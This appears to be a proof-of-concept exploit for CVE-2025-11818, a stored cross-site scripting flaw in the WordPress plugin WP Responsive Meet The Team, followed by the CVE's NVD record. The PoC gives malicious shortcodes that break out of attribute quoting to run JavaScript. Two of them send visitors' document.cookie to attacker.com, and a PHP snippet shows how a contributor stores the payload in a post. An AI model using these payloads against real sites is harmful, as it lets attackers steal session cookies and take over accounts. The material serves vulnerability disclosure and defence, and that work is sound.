CVE-2025-11818

<!-- CVE-2025-11818 PoC - Stored XSS via wprm_team shortcode Vulnerable Plugin: WP Responsive Meet The Team (versions <= 1.0.1) Required Access: Contributor level or above --> <!-- Normal usage of the shortcode --> [wprm_team member="John Doe" role="CEO"] <!-- Malicious shortcode with injected JavaScript via attribute --> [wprm_team member='" onmouseover="alert(document.cookie)" data-x="' role="Developer"] <!-- Alternative: Using script injection in description attribute --> [wprm_team member="<script>alert('XSS')</script>" role="Manager"] <!-- More sophisticated payload for cookie stealing --> [wprm_team member='" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" data-x="' role="Staff"] <!-- WordPress PHP exploitation example (in post content) --> <?php // When contributor creates a post with this content: $malicious_content = '[wprm_team member="<img src=x onerror=\"var i=new Image;i.src=\'http://attacker.com/log?\'+document.cookie;\">" role="Team Lead"]'; // This gets stored in the database and executes when any user views the page ?>

{"cve": {"id": "CVE-2025-11818", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:33.570", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Responsive Meet The Team plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wprm_team' shortcode in all versions up to, and including, 1.0.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-responsive-meet-the-team/tags/1.0.1/admin/layouts.php#L64", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-responsive-meet-the-team/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/30d79f14-b70c-403b-9e55-66e40b18aca7?source=cve", "source": "[email protected]"}]}}